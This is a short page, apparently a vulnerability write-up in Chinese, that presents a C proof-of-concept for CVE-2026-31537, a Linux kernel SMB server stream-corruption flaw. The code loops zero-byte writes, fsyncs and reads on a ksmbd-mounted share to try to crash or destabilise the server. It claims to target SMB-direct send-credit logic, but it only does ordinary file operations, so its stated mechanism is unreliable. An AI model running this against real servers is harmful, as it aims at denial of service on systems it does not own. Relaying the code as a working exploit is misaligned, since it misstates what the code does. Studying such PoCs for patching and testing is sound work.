CVE-2026-31537 Linux内核SMB服务器数据流损坏漏洞

/* * PoC for CVE-2026-31537: Linux Kernel SMB Server Stream Corruption * This is a conceptual PoC to trigger the immediate empty send condition. * Compile: gcc -o poc_cve2026_31537 poc_cve2026_31537.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> void trigger_vulnerability() { printf("[*] Attempting to trigger CVE-2026-31537...\n"); printf("[*] Targeting smbdirect_socket.send_io.bcredits logic...\n"); // Attempt to open a file on an SMB share mounted via ksmbd int fd = open("/mnt/smb_share/test_file", O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] Failed to open file"); return; } // Perform operations that may trigger the immediate empty send path // This stresses the credit handling logic in the kernel. char buffer[1] = {0}; for (int i = 0; i < 1000; i++) { // Writing 0 bytes might trigger specific empty send paths write(fd, buffer, 0); fsync(fd); // Immediate read to stress reassembly lseek(fd, 0, SEEK_SET); read(fd, buffer, 1); lseek(fd, 0, SEEK_END); } close(fd); printf("[+] Trigger sequence sent. Check kernel logs for instability.\n"); } int main() { trigger_vulnerability(); return 0; }